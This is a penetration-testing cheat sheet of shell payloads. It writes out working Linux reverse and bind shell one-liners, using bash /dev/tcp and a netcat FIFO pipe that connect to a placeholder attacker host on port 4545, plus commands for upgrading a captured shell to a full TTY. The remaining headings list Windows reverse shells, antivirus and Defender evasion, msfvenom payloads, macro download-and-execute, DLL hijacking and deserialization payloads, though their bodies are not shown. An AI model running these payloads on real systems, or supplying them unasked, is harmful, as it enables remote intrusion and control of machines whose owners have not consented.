Shells / Payloads

01. Linux

  • Common shells

## ------------------| Reverse
bash -i >& /dev/tcp/<HostIP>/4545 0>&1
bash -c "bash -i >& /dev/tcp/<HostIP>/4545 0>&1"
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <HostIP> 4545 >/tmp/f

## ------------------| Bind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 4545 >/tmp/f
  • TTY Spawn shell

/bin/sh -i
lua: os.execute('/bin/sh')
echo os.system('/bin/bash')
script -qc /bin/bash /dev/null
python -c "import pty; pty.spawn('/bin/bash')"
python3 -c "import pty; pty.spawn('/bin/bash')"
  • New born shell to pretty shell

python -c "import pty; pty.spawn('/bin/bash')"
stty raw -echo; fg
stty rows 45 cols 173
export TERM=xterm-256color

## ------------------| To add colors
export LS_OPTIONS='--color=auto'
eval "`dircolors`"
alias ls='ls $LS_OPTIONS'
export PS1='\[\e]0;\u@\h: \w\a\]\[\033[01;32m\]\u@\h\[\033[01;34m\] \w\$\[\033[00m\] '        

## ------------------| To find my rows and cols
stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'

02. Windows

  • One Liner Reverse Shell.

  • From bind shell to reverse shell [ Windows ]

  • Encoded Payload

  • C program

  • Fully Interactive Reverse Shell for Windows [source]

  • Simple Reverse Shell (Avoid Win 11 defender detection) [source]

  • PHP file upload and execute

  • If you can not access the cmd

  • AV Evasion (ps1)

  • Simple Reverse ICMP Shell [icmpsh]

  • JScript Dropper

If everything failed; compile this shit and run. or check this blog.

03. Reverse Shells

  • Bash

  • Netcat

  • PHP

  • Python

  • Jsp

  • Asp

  • Perl

  • Ruby

  • Java

  • Groovy

  • Pickle

  • HTA

  • Javascript

  • NodeJS

  • Telnet

  • .so dynamic libraries

04. MSFVenom

  • General usage

04.1 Windows

  • Reverse Shell Executable (sh3ll.exe)

  • Create New User

  • Execute Commands

  • Other things

04.2 Linux

04.3 Other

Shellcode

ASP/ ASPX

PHP

JSP

HTA

Ms Micro

WAR (tomcat)

NodeJS

Perl

Python

05. NamedPipes (forward-shell)

06. SimpleShell

  • For post request. (use if firewall block any kind of reverse shells)

07. Deserialize Payloads.

07.1 DotNet (ysoserial.net)

  • ObjectDataProvider

08. Macro / RTF / SCF

08.1 MS Macro

  • Simple script

  • Download and Execute

08.2 OO Macro

08.3 Rich Text Format (RTF)

08.3 SCF (Shell Command Files)

09. DLL Hijack

  • Payload 0x01

  • Payload 0x02

  • Payload 0x03 [C++]

  • Payload 0x04

10. Socat

  • Reverse shell

  • Reverse shell [Encrypted]

  • Bind shell

  • Bind shell [Encrypted]

  • Basic use

  • Custom-written pure msbuild meterpreter stager.

  • Common flags

13. Merlin

Last updated